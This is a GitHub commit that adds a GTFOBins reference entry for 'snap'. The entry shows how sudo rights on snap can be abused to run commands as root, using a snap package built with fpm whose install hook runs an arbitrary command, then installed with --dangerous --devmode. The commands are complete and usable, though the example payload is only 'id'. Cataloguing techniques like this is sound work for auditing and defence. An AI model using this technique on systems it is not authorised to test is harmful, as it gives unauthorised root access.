This commit is contained in:
godylockz 2021-04-09 02:57:02 -04:00 committed by GitHub
parent 6fda805b6a
commit 39027eb0c1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/snap.md Normal file
View File

@ -0,0 +1,16 @@
---
functions:
sudo:
- description: |
It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
COMMAND=id
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n x -s dir -t snap -a all meta
```
code: |
sudo snap install x_1.0_all.snap --dangerous --devmode
---